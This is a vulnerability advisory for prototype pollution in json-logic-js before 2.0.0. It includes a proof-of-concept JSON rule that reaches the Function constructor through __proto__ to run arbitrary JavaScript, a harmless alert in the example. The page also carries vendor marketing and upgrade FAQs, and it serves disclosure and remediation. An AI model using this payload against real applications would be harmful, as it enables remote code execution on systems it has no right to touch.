Summary
Prototype Pollution in json-logic-js
Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.
The following rule creates a popup when run from a browser:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is.__proto__"
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-M9HW-7XFV-WQG7? GHSA-M9HW-7XFV-WQG7 is a high-severity security vulnerability in json-logic-js (npm), affecting versions < 2.0.0. It is fixed in 2.0.0.
- Which versions of json-logic-js are affected by GHSA-M9HW-7XFV-WQG7? json-logic-js (npm) versions < 2.0.0 is affected.
- Is there a fix for GHSA-M9HW-7XFV-WQG7? Yes. GHSA-M9HW-7XFV-WQG7 is fixed in 2.0.0. Upgrade to this version or later.
- Is GHSA-M9HW-7XFV-WQG7 exploitable, and should I be worried? Whether GHSA-M9HW-7XFV-WQG7 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-M9HW-7XFV-WQG7 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-M9HW-7XFV-WQG7? Upgrade
json-logic-jsto 2.0.0 or later.